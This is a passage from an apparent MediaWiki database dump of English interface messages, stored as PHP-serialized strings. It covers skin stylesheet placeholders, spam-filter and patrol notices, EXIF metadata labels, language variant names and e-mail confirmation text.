even though it has been deleted\";'),('en','messages:tooltip-upload','s:12:\"Start upload\";'),('en','messages:tooltip-rollback','s:76:\"\"Rollback\" reverts edit(s) to this page of the last contributor in one click\";'),('en','messages:tooltip-undo','s:107:\"\"Undo\" reverts this edit and opens the edit form in preview mode. It allows adding a reason in the summary.\";'),('en','messages:common.css','s:50:\"/* CSS placed here will be applied to all skins */\";'),('en','messages:standard.css','s:60:\"/* CSS placed here will affect users of the Standard skin */\";'),('en','messages:nostalgia.css','s:61:\"/* CSS placed here will affect users of the Nostalgia skin */\";'),('en','messages:cologneblue.css','s:64:\"/* CSS placed here will affect users of the Cologne Blue skin */\";'),('en','messages:monobook.css','s:60:\"/* CSS placed here will affect users of the Monobook skin */\";'),('en','messages:myskin.css','s:58:\"/* CSS placed here will affect users of the Myskin skin */\";'),('en','messages:chick.css','s:57:\"/* CSS placed here will affect users of the Chick skin */\";'),('en','messages:simple.css','s:58:\"/* CSS placed here will affect users of the Simple skin */\";'),('en','messages:modern.css','s:58:\"/* CSS placed here will affect users of the Modern skin */\";'),('en','messages:vector.css','s:58:\"/* CSS placed here will affect users of the Vector skin */\";'),('en','messages:print.css','s:50:\"/* CSS placed here will affect the print output */\";'),('en','messages:handheld.css','s:99:\"/* CSS placed here will affect handheld devices based on the skin configured in $wgHandheldStyle */\";'),('en','messages:common.js','s:74:\"/* Any JavaScript here will be loaded for all users on every page load. */\";'),('en','messages:standard.js','s:74:\"/* Any JavaScript here will be loaded for users using the Standard skin */\";'),('en','messages:nostalgia.js','s:75:\"/* Any JavaScript here will be loaded for users using the Nostalgia skin */\";'),('en','messages:cologneblue.js','s:78:\"/* Any JavaScript here will be loaded for users using the Cologne Blue skin */\";'),('en','messages:monobook.js','s:74:\"/* Any JavaScript here will be loaded for users using the MonoBook skin */\";'),('en','messages:myskin.js','s:72:\"/* Any JavaScript here will be loaded for users using the Myskin skin */\";'),('en','messages:chick.js','s:71:\"/* Any JavaScript here will be loaded for users using the Chick skin */\";'),('en','messages:simple.js','s:72:\"/* Any JavaScript here will be loaded for users using the Simple skin */\";'),('en','messages:modern.js','s:72:\"/* Any JavaScript here will be loaded for users using the Modern skin */\";'),('en','messages:vector.js','s:72:\"/* Any JavaScript here will be loaded for users using the Vector skin */\";'),('en','messages:nodublincore','s:50:\"Dublin Core RDF metadata disabled for this server.\";'),('en','messages:nocreativecommons','s:55:\"Creative Commons RDF metadata disabled for this server.\";'),('en','messages:notacceptable','s:69:\"The wiki server cannot provide data in a format your client can read.\";'),('en','messages:anonymous','s:50:\"Anonymous {{PLURAL:$1|user|users}} of {{SITENAME}}\";'),('en','messages:siteuser','s:20:\"{{SITENAME}} user $1\";'),('en','messages:anonuser','s:30:\"{{SITENAME}} anonymous user $1\";'),('en','messages:lastmodifiedatby','s:41:\"This page was last modified $2, $1 by $3.\";'),('en','messages:othercontribs','s:20:\"Based on work by $1.\";'),('en','messages:others','s:6:\"others\";'),('en','messages:siteusers','s:40:\"{{SITENAME}} {{PLURAL:$2|user|users}} $1\";'),('en','messages:anonusers','s:50:\"{{SITENAME}} anonymous {{PLURAL:$2|user|users}} $1\";'),('en','messages:creditspage','s:12:\"Page credits\";'),('en','messages:nocredits','s:49:\"There is no credits info available for this page.\";'),('en','messages:spamprotectiontitle','s:22:\"Spam protection filter\";'),('en','messages:spamprotectiontext','s:125:\"The page you wanted to save was blocked by the spam filter.\nThis is probably caused by a link to a blacklisted external site.\";'),('en','messages:spamprotectionmatch','s:56:\"The following text is what triggered our spam filter: $1\";'),('en','messages:spambot_username','s:22:\"MediaWiki spam cleanup\";'),('en','messages:spam_reverting','s:53:\"Reverting to last revision not containing links to $1\";'),('en','messages:spam_blanking','s:45:\"All revisions contained links to $1, blanking\";'),('en','messages:infosubtitle','s:20:\"Information for page\";'),('en','messages:numedits','s:26:\"Number of edits (page): $1\";'),('en','messages:numtalkedits','s:37:\"Number of edits (discussion page): $1\";'),('en','messages:numwatchers','s:22:\"Number of watchers: $1\";'),('en','messages:numauthors','s:37:\"Number of distinct authors (page): $1\";'),('en','messages:numtalkauthors','s:48:\"Number of distinct authors (discussion page): $1\";'),('en','messages:skinname-standard','s:7:\"Classic\";'),('en','messages:skinname-nostalgia','s:9:\"Nostalgia\";'),('en','messages:skinname-cologneblue','s:12:\"Cologne Blue\";'),('en','messages:skinname-monobook','s:8:\"MonoBook\";'),('en','messages:skinname-myskin','s:6:\"MySkin\";'),('en','messages:skinname-chick','s:5:\"Chick\";'),('en','messages:skinname-simple','s:6:\"Simple\";'),('en','messages:skinname-modern','s:6:\"Modern\";'),('en','messages:skinname-vector','s:6:\"Vector\";'),('en','messages:mw_math_png','s:17:\"Always render PNG\";'),('en','messages:mw_math_simple','s:31:\"HTML if very simple or else PNG\";'),('en','messages:mw_math_html','s:28:\"HTML if possible or else PNG\";'),('en','messages:mw_math_source','s:35:\"Leave it as TeX (for text browsers)\";'),('en','messages:mw_math_modern','s:31:\"Recommended for modern browsers\";'),('en','messages:mw_math_mathml','s:33:\"MathML if possible (experimental)\";'),('en','messages:math_failure','s:15:\"Failed to parse\";'),('en','messages:math_unknown_error','s:13:\"unknown error\";'),('en','messages:math_unknown_function','s:16:\"unknown function\";'),('en','messages:math_lexing_error','s:12:\"lexing error\";'),('en','messages:math_syntax_error','s:12:\"syntax error\";'),('en','messages:math_image_error','s:86:\"PNG conversion failed;\ncheck for correct installation of latex, dvips, gs, and convert\";'),('en','messages:math_bad_tmpdir','s:45:\"Cannot write to or create math temp directory\";'),('en','messages:math_bad_output','s:47:\"Cannot write to or create math output directory\";'),('en','messages:math_notexvc','s:62:\"Missing texvc executable; please see math/README to configure.\";'),('en','messages:markaspatrolleddiff','s:17:\"Mark as patrolled\";'),('en','messages:markaspatrolledlink','s:4:\"[$1]\";'),('en','messages:markaspatrolledtext','s:27:\"Mark this page as patrolled\";'),('en','messages:markedaspatrolled','s:19:\"Marked as patrolled\";'),('en','messages:markedaspatrolledtext','s:62:\"The selected revision of [[:$1]] has been marked as patrolled.\";'),('en','messages:rcpatroldisabled','s:30:\"Recent changes patrol disabled\";'),('en','messages:rcpatroldisabledtext','s:56:\"The recent changes patrol feature is currently disabled.\";'),('en','messages:markedaspatrollederror','s:24:\"Cannot mark as patrolled\";'),('en','messages:markedaspatrollederrortext','s:52:\"You need to specify a revision to mark as patrolled.\";'),('en','messages:markedaspatrollederror-noautopatrol','s:58:\"You are not allowed to mark your own changes as patrolled.\";'),('en','messages:patrol-log-page','s:10:\"Patrol log\";'),('en','messages:patrol-log-header','s:37:\"This is a log of patrolled revisions.\";'),('en','messages:patrol-log-line','s:28:\"marked $1 of $2 patrolled $3\";'),('en','messages:patrol-log-auto','s:11:\"(automatic)\";'),('en','messages:patrol-log-diff','s:11:\"revision $1\";'),('en','messages:log-show-hide-patrol','s:13:\"$1 patrol log\";'),('en','messages:deletedrevision','s:23:\"Deleted old revision $1\";'),('en','messages:filedeleteerror-short','s:23:\"Error deleting file: $1\";'),('en','messages:filedeleteerror-long','s:52:\"Errors were encountered while deleting the file:\n\n$1\";'),('en','messages:filedelete-missing','s:59:\"The file \"$1\" cannot be deleted, because it does not exist.\";'),('en','messages:filedelete-old-unregistered','s:56:\"The specified file revision \"$1\" is not in the database.\";'),('en','messages:filedelete-current-unregistered','s:47:\"The specified file \"$1\" is not in the database.\";'),('en','messages:filedelete-archive-read-only','s:60:\"The archive directory \"$1\" is not writable by the webserver.\";'),('en','messages:previousdiff','s:14:\"← Older edit\";'),('en','messages:nextdiff','s:14:\"Newer edit →\";'),('en','messages:mediawarning','s:106:\"\'\'\'Warning\'\'\': This file type may contain malicious code.\nBy executing it, your system may be compromised.\";'),('en','messages:imagemaxsize','s:55:\"Image size limit:<br />\'\'(for file description pages)\'\'\";'),('en','messages:thumbsize','s:15:\"Thumbnail size:\";'),('en','messages:widthheight','s:6:\"$1×$2\";'),('en','messages:widthheightpage','s:35:\"$1×$2, $3 {{PLURAL:$3|page|pages}}\";'),('en','messages:file-info','s:30:\"(file size: $1, MIME type: $2)\";'),('en','messages:file-info-size','s:47:\"($1 × $2 pixels, file size: $3, MIME type: $4)\";'),('en','messages:file-nohires','s:46:\"<small>No higher resolution available.</small>\";'),('en','messages:svg-long-desc','s:52:\"(SVG file, nominally $1 × $2 pixels, file size: $3)\";'),('en','messages:show-big-image','s:15:\"Full resolution\";'),('en','messages:show-big-image-thumb','s:52:\"<small>Size of this preview: $1 × $2 pixels</small>\";'),('en','messages:file-info-gif-looped','s:6:\"looped\";'),('en','messages:file-info-gif-frames','s:29:\"$1 {{PLURAL:$1|frame|frames}}\";'),('en','messages:newimages','s:20:\"Gallery of new files\";'),('en','messages:imagelisttext','s:63:\"Below is a list of \'\'\'$1\'\'\' {{PLURAL:$1|file|files}} sorted $2.\";'),('en','messages:newimages-summary','s:48:\"This special page shows the last uploaded files.\";'),('en','messages:newimages-legend','s:6:\"Filter\";'),('en','messages:newimages-label','s:27:\"Filename (or a part of it):\";'),('en','messages:showhidebots','s:9:\"($1 bots)\";'),('en','messages:noimages','s:15:\"Nothing to see.\";'),('en','messages:ilsubmit','s:6:\"Search\";'),('en','messages:bydate','s:7:\"by date\";'),('en','messages:sp-newimages-showfrom','s:35:\"Show new files starting from $2, $1\";'),('en','messages:video-dims','s:10:\"$1, $2×$3\";'),('en','messages:seconds-abbrev','s:1:\"s\";'),('en','messages:minutes-abbrev','s:1:\"m\";'),('en','messages:hours-abbrev','s:1:\"h\";'),('en','messages:bad_image_list','s:252:\"The format is as follows:\n\nOnly list items (lines starting with *) are considered.\nThe first link on a line must be a link to a bad file.\nAny subsequent links on the same line are considered to be exceptions, i.e. pages where the file may occur inline.\";'),('en','messages:variantname-zh-hans','s:4:\"hans\";'),('en','messages:variantname-zh-hant','s:4:\"hant\";'),('en','messages:variantname-zh-cn','s:2:\"cn\";'),('en','messages:variantname-zh-tw','s:2:\"tw\";'),('en','messages:variantname-zh-hk','s:2:\"hk\";'),('en','messages:variantname-zh-mo','s:2:\"mo\";'),('en','messages:variantname-zh-sg','s:2:\"sg\";'),('en','messages:variantname-zh-my','s:2:\"my\";'),('en','messages:variantname-zh','s:2:\"zh\";'),('en','messages:variantname-gan-hans','s:4:\"hans\";'),('en','messages:variantname-gan-hant','s:4:\"hant\";'),('en','messages:variantname-gan','s:3:\"gan\";'),('en','messages:variantname-sr-ec','s:5:\"sr-ec\";'),('en','messages:variantname-sr-el','s:5:\"sr-el\";'),('en','messages:variantname-sr','s:2:\"sr\";'),('en','messages:variantname-kk-kz','s:5:\"kk-kz\";'),('en','messages:variantname-kk-tr','s:5:\"kk-tr\";'),('en','messages:variantname-kk-cn','s:5:\"kk-cn\";'),('en','messages:variantname-kk-cyrl','s:7:\"kk-cyrl\";'),('en','messages:variantname-kk-latn','s:7:\"kk-latn\";'),('en','messages:variantname-kk-arab','s:7:\"kk-arab\";'),('en','messages:variantname-kk','s:2:\"kk\";'),('en','messages:variantname-ku-arab','s:7:\"ku-Arab\";'),('en','messages:variantname-ku-latn','s:7:\"ku-Latn\";'),('en','messages:variantname-ku','s:2:\"ku\";'),('en','messages:variantname-tg-cyrl','s:7:\"tg-Cyrl\";'),('en','messages:variantname-tg-latn','s:7:\"tg-Latn\";'),('en','messages:variantname-tg','s:2:\"tg\";'),('en','messages:metadata','s:8:\"Metadata\";'),('en','messages:metadata-help','s:232:\"This file contains additional information, probably added from the digital camera or scanner used to create or digitize it.\nIf the file has been modified from its original state, some details may not fully reflect the modified file.\";'),('en','messages:metadata-expand','s:21:\"Show extended details\";'),('en','messages:metadata-collapse','s:21:\"Hide extended details\";'),('en','messages:metadata-fields','s:245:\"EXIF metadata fields listed in this message will be included on image page display when the metadata table is collapsed.\nOthers will be hidden by default.\n* make\n* model\n* datetimeoriginal\n* exposuretime\n* fnumber\n* isospeedratings\n* focallength\";'),('en','messages:exif-imagewidth','s:5:\"Width\";'),('en','messages:exif-imagelength','s:6:\"Height\";'),('en','messages:exif-bitspersample','s:18:\"Bits per component\";'),('en','messages:exif-compression','s:18:\"Compression scheme\";'),('en','messages:exif-photometricinterpretation','s:17:\"Pixel composition\";'),('en','messages:exif-orientation','s:11:\"Orientation\";'),('en','messages:exif-samplesperpixel','s:20:\"Number of components\";'),('en','messages:exif-planarconfiguration','s:16:\"Data arrangement\";'),('en','messages:exif-ycbcrsubsampling','s:27:\"Subsampling ratio of Y to C\";'),('en','messages:exif-ycbcrpositioning','s:19:\"Y and C positioning\";'),('en','messages:exif-xresolution','s:21:\"Horizontal resolution\";'),('en','messages:exif-yresolution','s:19:\"Vertical resolution\";'),('en','messages:exif-resolutionunit','s:26:\"Unit of X and Y resolution\";'),('en','messages:exif-stripoffsets','s:19:\"Image data location\";'),('en','messages:exif-rowsperstrip','s:24:\"Number of rows per strip\";'),('en','messages:exif-stripbytecounts','s:26:\"Bytes per compressed strip\";'),('en','messages:exif-jpeginterchangeformat','s:18:\"Offset to JPEG SOI\";'),('en','messages:exif-jpeginterchangeformatlength','s:18:\"Bytes of JPEG data\";'),('en','messages:exif-transferfunction','s:17:\"Transfer function\";'),('en','messages:exif-whitepoint','s:24:\"White point chromaticity\";'),('en','messages:exif-primarychromaticities','s:29:\"Chromaticities of primarities\";'),('en','messages:exif-ycbcrcoefficients','s:46:\"Color space transformation matrix coefficients\";'),('en','messages:exif-referenceblackwhite','s:40:\"Pair of black and white reference values\";'),('en','messages:exif-datetime','s:25:\"File change date and time\";'),('en','messages:exif-imagedescription','s:11:\"Image title\";'),('en','messages:exif-make','s:19:\"Camera manufacturer\";'),('en','messages:exif-model','s:12:\"Camera model\";'),('en','messages:exif-software','s:13:\"Software used\";'),('en','messages:exif-artist','s:6:\"Author\";'),('en','messages:exif-copyright','s:16:\"Copyright holder\";'),('en','messages:exif-exifversion','s:12:\"Exif version\";'),('en','messages:exif-flashpixversion','s:26:\"Supported Flashpix version\";'),('en','messages:exif-colorspace','s:11:\"Color space\";'),('en','messages:exif-componentsconfiguration','s:25:\"Meaning of each component\";'),('en','messages:exif-compressedbitsperpixel','s:22:\"Image compression mode\";'),('en','messages:exif-pixelydimension','s:17:\"Valid image width\";'),('en','messages:exif-pixelxdimension','s:18:\"Valid image height\";'),('en','messages:exif-makernote','s:18:\"Manufacturer notes\";'),('en','messages:exif-usercomment','s:13:\"User comments\";'),('en','messages:exif-relatedsoundfile','s:18:\"Related audio file\";'),('en','messages:exif-datetimeoriginal','s:32:\"Date and time of data generation\";'),('en','messages:exif-datetimedigitized','s:27:\"Date and time of digitizing\";'),('en','messages:exif-subsectime','s:19:\"DateTime subseconds\";'),('en','messages:exif-subsectimeoriginal','s:27:\"DateTimeOriginal subseconds\";'),('en','messages:exif-subsectimedigitized','s:28:\"DateTimeDigitized subseconds\";'),('en','messages:exif-exposuretime','s:13:\"Exposure time\";'),('en','messages:exif-exposuretime-format','s:11:\"$1 sec ($2)\";'),('en','messages:exif-fnumber','s:8:\"F Number\";'),('en','messages:exif-fnumber-format','s:4:\"f/$1\";'),('en','messages:exif-exposureprogram','s:16:\"Exposure Program\";'),('en','messages:exif-spectralsensitivity','s:20:\"Spectral sensitivity\";'),('en','messages:exif-isospeedratings','s:16:\"ISO speed rating\";'),('en','messages:exif-oecf','s:32:\"Optoelectronic conversion factor\";'),('en','messages:exif-shutterspeedvalue','s:13:\"Shutter speed\";'),('en','messages:exif-aperturevalue','s:8:\"Aperture\";'),('en','messages:exif-brightnessvalue','s:10:\"Brightness\";'),('en','messages:exif-exposurebiasvalue','s:13:\"Exposure bias\";'),('en','messages:exif-maxaperturevalue','s:21:\"Maximum land aperture\";'),('en','messages:exif-subjectdistance','s:16:\"Subject distance\";'),('en','messages:exif-meteringmode','s:13:\"Metering mode\";'),('en','messages:exif-lightsource','s:12:\"Light source\";'),('en','messages:exif-flash','s:5:\"Flash\";'),('en','messages:exif-focallength','s:17:\"Lens focal length\";'),('en','messages:exif-focallength-format','s:5:\"$1 mm\";'),('en','messages:exif-subjectarea','s:12:\"Subject area\";'),('en','messages:exif-flashenergy','s:12:\"Flash energy\";'),('en','messages:exif-spatialfrequencyresponse','s:26:\"Spatial frequency response\";'),('en','messages:exif-focalplanexresolution','s:24:\"Focal plane X resolution\";'),('en','messages:exif-focalplaneyresolution','s:24:\"Focal plane Y resolution\";'),('en','messages:exif-focalplaneresolutionunit','s:27:\"Focal plane resolution unit\";'),('en','messages:exif-subjectlocation','s:16:\"Subject location\";'),('en','messages:exif-exposureindex','s:14:\"Exposure index\";'),('en','messages:exif-sensingmethod','s:14:\"Sensing method\";'),('en','messages:exif-filesource','s:11:\"File source\";'),('en','messages:exif-scenetype','s:10:\"Scene type\";'),('en','messages:exif-cfapattern','s:11:\"CFA pattern\";'),('en','messages:exif-customrendered','s:23:\"Custom image processing\";'),('en','messages:exif-exposuremode','s:13:\"Exposure mode\";'),('en','messages:exif-whitebalance','s:13:\"White balance\";'),('en','messages:exif-digitalzoomratio','s:18:\"Digital zoom ratio\";'),('en','messages:exif-focallengthin35mmfilm','s:26:\"Focal length in 35 mm film\";'),('en','messages:exif-scenecapturetype','s:18:\"Scene capture type\";'),('en','messages:exif-gaincontrol','s:13:\"Scene control\";'),('en','messages:exif-contrast','s:8:\"Contrast\";'),('en','messages:exif-saturation','s:10:\"Saturation\";'),('en','messages:exif-sharpness','s:9:\"Sharpness\";'),('en','messages:exif-devicesettingdescription','s:27:\"Device settings description\";'),('en','messages:exif-subjectdistancerange','s:22:\"Subject distance range\";'),('en','messages:exif-imageuniqueid','s:15:\"Unique image ID\";'),('en','messages:exif-gpsversionid','s:15:\"GPS tag version\";'),('en','messages:exif-gpslatituderef','s:23:\"North or south latitude\";'),('en','messages:exif-gpslatitude','s:8:\"Latitude\";'),('en','messages:exif-gpslongituderef','s:22:\"East or west longitude\";'),('en','messages:exif-gpslongitude','s:9:\"Longitude\";'),('en','messages:exif-gpsaltituderef','s:18:\"Altitude reference\";'),('en','messages:exif-gpsaltitude','s:8:\"Altitude\";'),('en','messages:exif-gpstimestamp','s:23:\"GPS time (atomic clock)\";'),('en','messages:exif-gpssatellites','s:31:\"Satellites used for measurement\";'),('en','messages:exif-gpsstatus','s:15:\"Receiver status\";'),('en','messages:exif-gpsmeasuremode','s:16:\"Measurement mode\";'),('en','messages:exif-gpsdop','s:21:\"Measurement precision\";'),('en','messages:exif-gpsspeedref','s:10:\"Speed unit\";'),('en','messages:exif-gpsspeed','s:21:\"Speed of GPS receiver\";'),('en','messages:exif-gpstrackref','s:35:\"Reference for direction of movement\";'),('en','messages:exif-gpstrack','s:21:\"Direction of movement\";'),('en','messages:exif-gpsimgdirectionref','s:32:\"Reference for direction of image\";'),('en','messages:exif-gpsimgdirection','s:18:\"Direction of image\";'),('en','messages:exif-gpsmapdatum','s:25:\"Geodetic survey data used\";'),('en','messages:exif-gpsdestlatituderef','s:37:\"Reference for latitude of destination\";'),('en','messages:exif-gpsdestlatitude','s:20:\"Latitude destination\";'),('en','messages:exif-gpsdestlongituderef','s:38:\"Reference for longitude of destination\";'),('en','messages:exif-gpsdestlongitude','s:24:\"Longitude of destination\";'),('en','messages:exif-gpsdestbearingref','s:36:\"Reference for bearing of destination\";'),('en','messages:exif-gpsdestbearing','s:22:\"Bearing of destination\";'),('en','messages:exif-gpsdestdistanceref','s:37:\"Reference for distance to destination\";'),('en','messages:exif-gpsdestdistance','s:23:\"Distance to destination\";'),('en','messages:exif-gpsprocessingmethod','s:29:\"Name of GPS processing method\";'),('en','messages:exif-gpsareainformation','s:16:\"Name of GPS area\";'),('en','messages:exif-gpsdatestamp','s:8:\"GPS date\";'),('en','messages:exif-gpsdifferential','s:27:\"GPS differential correction\";'),('en','messages:exif-make-value','s:2:\"$1\";'),('en','messages:exif-model-value','s:2:\"$1\";'),('en','messages:exif-software-value','s:2:\"$1\";'),('en','messages:exif-compression-1','s:12:\"Uncompressed\";'),('en','messages:exif-compression-6','s:4:\"JPEG\";'),('en','messages:exif-photometricinterpretation-2','s:3:\"RGB\";'),('en','messages:exif-photometricinterpretation-6','s:5:\"YCbCr\";'),('en','messages:exif-unknowndate','s:12:\"Unknown date\";'),('en','messages:exif-orientation-1','s:6:\"Normal\";'),('en','messages:exif-orientation-2','s:20:\"Flipped horizontally\";'),('en','messages:exif-orientation-3','s:13:\"Rotated 180°\";'),('en','messages:exif-orientation-4','s:18:\"Flipped vertically\";'),('en','messages:exif-orientation-5','s:39:\"Rotated 90° CCW and flipped vertically\";'),('en','messages:exif-orientation-6','s:15:\"Rotated 90° CW\";'),('en','messages:exif-orientation-7','s:38:\"Rotated 90° CW and flipped vertically\";'),('en','messages:exif-orientation-8','s:16:\"Rotated 90° CCW\";'),('en','messages:exif-planarconfiguration-1','s:13:\"chunky format\";'),('en','messages:exif-planarconfiguration-2','s:13:\"planar format\";'),('en','messages:exif-xyresolution-i','s:6:\"$1 dpi\";'),('en','messages:exif-xyresolution-c','s:6:\"$1 dpc\";'),('en','messages:exif-colorspace-1','s:4:\"sRGB\";'),('en','messages:exif-colorspace-ffff.h','s:6:\"FFFF.H\";'),('en','messages:exif-componentsconfiguration-0','s:14:\"does not exist\";'),('en','messages:exif-componentsconfiguration-1','s:1:\"Y\";'),('en','messages:exif-componentsconfiguration-2','s:2:\"Cb\";'),('en','messages:exif-componentsconfiguration-3','s:2:\"Cr\";'),('en','messages:exif-componentsconfiguration-4','s:1:\"R\";'),('en','messages:exif-componentsconfiguration-5','s:1:\"G\";'),('en','messages:exif-componentsconfiguration-6','s:1:\"B\";'),('en','messages:exif-exposureprogram-0','s:11:\"Not defined\";'),('en','messages:exif-exposureprogram-1','s:6:\"Manual\";'),('en','messages:exif-exposureprogram-2','s:14:\"Normal program\";'),('en','messages:exif-exposureprogram-3','s:17:\"Aperture priority\";'),('en','messages:exif-exposureprogram-4','s:16:\"Shutter priority\";'),('en','messages:exif-exposureprogram-5','s:47:\"Creative program (biased toward depth of field)\";'),('en','messages:exif-exposureprogram-6','s:49:\"Action program (biased toward fast shutter speed)\";'),('en','messages:exif-exposureprogram-7','s:67:\"Portrait mode (for closeup photos with the background out of focus)\";'),('en','messages:exif-exposureprogram-8','s:66:\"Landscape mode (for landscape photos with the background in focus)\";'),('en','messages:exif-subjectdistance-value','s:9:\"$1 meters\";'),('en','messages:exif-meteringmode-0','s:7:\"Unknown\";'),('en','messages:exif-meteringmode-1','s:7:\"Average\";'),('en','messages:exif-meteringmode-2','s:21:\"CenterWeightedAverage\";'),('en','messages:exif-meteringmode-3','s:4:\"Spot\";'),('en','messages:exif-meteringmode-4','s:9:\"MultiSpot\";'),('en','messages:exif-meteringmode-5','s:7:\"Pattern\";'),('en','messages:exif-meteringmode-6','s:7:\"Partial\";'),('en','messages:exif-meteringmode-255','s:5:\"Other\";'),('en','messages:exif-lightsource-0','s:7:\"Unknown\";'),('en','messages:exif-lightsource-1','s:8:\"Daylight\";'),('en','messages:exif-lightsource-2','s:11:\"Fluorescent\";'),('en','messages:exif-lightsource-3','s:29:\"Tungsten (incandescent light)\";'),('en','messages:exif-lightsource-4','s:5:\"Flash\";'),('en','messages:exif-lightsource-9','s:12:\"Fine weather\";'),('en','messages:exif-lightsource-10','s:14:\"Cloudy weather\";'),('en','messages:exif-lightsource-11','s:5:\"Shade\";'),('en','messages:exif-lightsource-12','s:39:\"Daylight fluorescent (D 5700 – 7100K)\";'),('en','messages:exif-lightsource-13','s:40:\"Day white fluorescent (N 4600 – 5400K)\";'),('en','messages:exif-lightsource-14','s:41:\"Cool white fluorescent (W 3900 – 4500K)\";'),('en','messages:exif-lightsource-15','s:37:\"White fluorescent (WW 3200 – 3700K)\";'),('en','messages:exif-lightsource-17','s:16:\"Standard light A\";'),('en','messages:exif-lightsource-18','s:16:\"Standard light B\";'),('en','messages:exif-lightsource-19','s:16:\"Standard light C\";'),('en','messages:exif-lightsource-20','s:3:\"D55\";'),('en','messages:exif-lightsource-21','s:3:\"D65\";'),('en','messages:exif-lightsource-22','s:3:\"D75\";'),('en','messages:exif-lightsource-23','s:3:\"D50\";'),('en','messages:exif-lightsource-24','s:19:\"ISO studio tungsten\";'),('en','messages:exif-lightsource-255','s:18:\"Other light source\";'),('en','messages:exif-flash-fired-0','s:18:\"Flash did not fire\";'),('en','messages:exif-flash-fired-1','s:11:\"Flash fired\";'),('en','messages:exif-flash-return-0','s:35:\"no strobe return detection function\";'),('en','messages:exif-flash-return-2','s:32:\"strobe return light not detected\";'),('en','messages:exif-flash-return-3','s:28:\"strobe return light detected\";'),('en','messages:exif-flash-mode-1','s:23:\"compulsory flash firing\";'),('en','messages:exif-flash-mode-2','s:28:\"compulsory flash suppression\";'),('en','messages:exif-flash-mode-3','s:9:\"auto mode\";'),('en','messages:exif-flash-function-1','s:17:\"No flash function\";'),('en','messages:exif-flash-redeye-1','s:22:\"red-eye reduction mode\";'),('en','messages:exif-focalplaneresolutionunit-2','s:6:\"inches\";'),('en','messages:exif-sensingmethod-1','s:9:\"Undefined\";'),('en','messages:exif-sensingmethod-2','s:26:\"One-chip color area sensor\";'),('en','messages:exif-sensingmethod-3','s:26:\"Two-chip color area sensor\";'),('en','messages:exif-sensingmethod-4','s:28:\"Three-chip color area sensor\";'),('en','messages:exif-sensingmethod-5','s:28:\"Color sequential area sensor\";'),('en','messages:exif-sensingmethod-7','s:16:\"Trilinear sensor\";'),('en','messages:exif-sensingmethod-8','s:30:\"Color sequential linear sensor\";'),('en','messages:exif-filesource-3','s:3:\"DSC\";'),('en','messages:exif-scenetype-1','s:29:\"A directly photographed image\";'),('en','messages:exif-customrendered-0','s:14:\"Normal process\";'),('en','messages:exif-customrendered-1','s:14:\"Custom process\";'),('en','messages:exif-exposuremode-0','s:13:\"Auto exposure\";'),('en','messages:exif-exposuremode-1','s:15:\"Manual exposure\";'),('en','messages:exif-exposuremode-2','s:12:\"Auto bracket\";'),('en','messages:exif-whitebalance-0','s:18:\"Auto white balance\";'),('en','messages:exif-whitebalance-1','s:20:\"Manual white balance\";'),('en','messages:exif-scenecapturetype-0','s:8:\"Standard\";'),('en','messages:exif-scenecapturetype-1','s:9:\"Landscape\";'),('en','messages:exif-scenecapturetype-2','s:8:\"Portrait\";'),('en','messages:exif-scenecapturetype-3','s:11:\"Night scene\";'),('en','messages:exif-gaincontrol-0','s:4:\"None\";'),('en','messages:exif-gaincontrol-1','s:11:\"Low gain up\";'),('en','messages:exif-gaincontrol-2','s:12:\"High gain up\";'),('en','messages:exif-gaincontrol-3','s:13:\"Low gain down\";'),('en','messages:exif-gaincontrol-4','s:14:\"High gain down\";'),('en','messages:exif-contrast-0','s:6:\"Normal\";'),('en','messages:exif-contrast-1','s:4:\"Soft\";'),('en','messages:exif-contrast-2','s:4:\"Hard\";'),('en','messages:exif-saturation-0','s:6:\"Normal\";'),('en','messages:exif-saturation-1','s:14:\"Low saturation\";'),('en','messages:exif-saturation-2','s:15:\"High saturation\";'),('en','messages:exif-sharpness-0','s:6:\"Normal\";'),('en','messages:exif-sharpness-1','s:4:\"Soft\";'),('en','messages:exif-sharpness-2','s:4:\"Hard\";'),('en','messages:exif-subjectdistancerange-0','s:7:\"Unknown\";'),('en','messages:exif-subjectdistancerange-1','s:5:\"Macro\";'),('en','messages:exif-subjectdistancerange-2','s:10:\"Close view\";'),('en','messages:exif-subjectdistancerange-3','s:12:\"Distant view\";'),('en','messages:exif-gpslatitude-n','s:14:\"North latitude\";'),('en','messages:exif-gpslatitude-s','s:14:\"South latitude\";'),('en','messages:exif-gpslongitude-e','s:14:\"East longitude\";'),('en','messages:exif-gpslongitude-w','s:14:\"West longitude\";'),('en','messages:exif-gpsstatus-a','s:23:\"Measurement in progress\";'),('en','messages:exif-gpsstatus-v','s:28:\"Measurement interoperability\";'),('en','messages:exif-gpsmeasuremode-2','s:25:\"2-dimensional measurement\";'),('en','messages:exif-gpsmeasuremode-3','s:25:\"3-dimensional measurement\";'),('en','messages:exif-gpsspeed-k','s:19:\"Kilometers per hour\";'),('en','messages:exif-gpsspeed-m','s:14:\"Miles per hour\";'),('en','messages:exif-gpsspeed-n','s:5:\"Knots\";'),('en','messages:exif-gpsdirection-t','s:14:\"True direction\";'),('en','messages:exif-gpsdirection-m','s:18:\"Magnetic direction\";'),('en','messages:edit-externally','s:44:\"Edit this file using an external application\";'),('en','messages:edit-externally-help','s:105:\"(See the [http://www.mediawiki.org/wiki/Manual:External_editors setup instructions] for more information)\";'),('en','messages:recentchangesall','s:3:\"all\";'),('en','messages:imagelistall','s:3:\"all\";'),('en','messages:watchlistall2','s:3:\"all\";'),('en','messages:namespacesall','s:3:\"all\";'),('en','messages:monthsall','s:3:\"all\";'),('en','messages:limitall','s:3:\"all\";'),('en','messages:confirmemail','s:22:\"Confirm e-mail address\";'),('en','messages:confirmemail_noemail','s:92:\"You do not have a valid e-mail address set in your [[Special:Preferences|user preferences]].\";'),('en','messages:confirmemail_text','s:284:\"{{SITENAME}} requires that you validate your e-mail address before using e-mail features.\nActivate the button below to send a confirmation mail to your address.\nThe mail will include a link containing a code;\nload the link in your browser to confirm that your e-mail address is valid.\";'),('en','messages:confirmemail_pending','s:180:\"A confirmation code has already been e-mailed to you;\nif you recently created your account, you may wish to wait a few minutes for it to arrive before trying to request a new code.\";'),('en','messages:confirmemail_send','s:24:\"Mail a confirmation code\";'),('en','messages:confirmemail_sent','s:25:\"Confirmation e-mail sent.\";'),('en','messages:confirmemail_oncreate','s:176:\"A confirmation code was sent to your e-mail address.\nThis code is not required to log in, but you will need to provide it before enabling any e-mail-based features in the wiki.\";'),('en','messages:confirmemail_sendfailed','s:129:\"{{SITENAME}} could not send your confirmation mail.\nPlease check your e-mail address for invalid characters.\n\nMailer returned: $1\";'),('en','messages:confirmemail_invalid','s:53:\"Invalid 